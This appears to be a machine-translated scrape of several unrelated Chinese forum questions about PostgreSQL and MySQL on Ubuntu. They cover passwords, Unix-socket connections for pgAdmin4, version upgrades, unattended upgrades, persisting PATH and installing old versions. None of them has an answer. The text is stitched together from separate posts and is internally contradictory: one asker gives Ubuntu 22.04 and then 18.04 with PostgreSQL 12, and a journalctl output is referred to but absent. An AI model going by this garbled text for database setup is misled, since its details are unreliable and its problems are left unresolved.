postgreSQL 应用程序在将其安装到我的计算机时不要求我输入密码。我不知道这是否就是为什么我在终端中输入的密码都没有被拒绝的原因。
请问我该如何解决这个问题？
我按照此处的说明安装了 pgadmin4
我想通过 Unix 套接字将它连接到本地运行的 postgresql 服务
我有
$ sudo ls -lha /var/run/postgresql/14-main.pg_stat_tmp/
totale 0
drwxr-s--- 2 postgres postgres 40 set 20 10:51 .
drwxrwsr-x 3 postgres postgres 60 set 20 10:51 ..
我看到一个空文件夹
我不明白
posgres 服务准备好接受 unix 套接字上的连接了吗？
或者不是吗？
我该怎么做呢 ？
我在 Ubuntu 22.04
我正在使用 ubuntu 18.04 和 postgresql 12，请参见下面的 journalctl：

这是麻烦的根源吗？
Ubuntu 20.04 只给了我过时的 PostgreSQL 12。升级到“21.04 (Hirsute Hippo)”后，我得到了版本 13。如何安装最新版本 (14)？
apt dist-upgradeUbuntu/Debian 发行版上的命令可以更新 PostgreSQL 的版本吗？
我有一些使用 PostgreSQL 9.6 的 Ubuntu 18.04 LTS 服务器，我不希望unattended-upgrades执行结果导致 PostgreSQL 更新。
如果我没记错的话，我应该必须显式安装另一个 postgresql 版本才能这样做。否则我应该将该软件包更新列入黑名单吗？
谢谢！

我无法在我的 ubuntu 服务器上为 postgresql 用户永久添加当前 PATH。
每次我 ssh 或重新启动我必须运行的服务器时export PATH="${PATH}:${HOME}/.local/bin"，我都在运行一个 python 脚本，除非这个命令完成，否则我将尝试在 python 中简单地添加它，但它没有解决。
import os
cmd ='''export PATH="${PATH}:${HOME}/.local/bin"'''
os.system(cmd)
... rest of my code
我也尝试过sudo export PATH="${PATH}:${HOME}/.local/bin"，但每次重新启动后它都会被删除，我该怎么做才能永久添加此路径或让 python 脚本运行它。
我正在使用 ubuntu 20.04，我需要 mysql 5.6 版或 postgresql 9.6 版。
我知道我可以使用以下命令指定版本：
apt-get install mysql-server=<version>
我可以使用以下命令查看提供的软件包：
apt-cache showpkg mysql-server
但是如果没有列出，我如何在 5.6 版本中安装 mysql-server？
谢谢阿米特
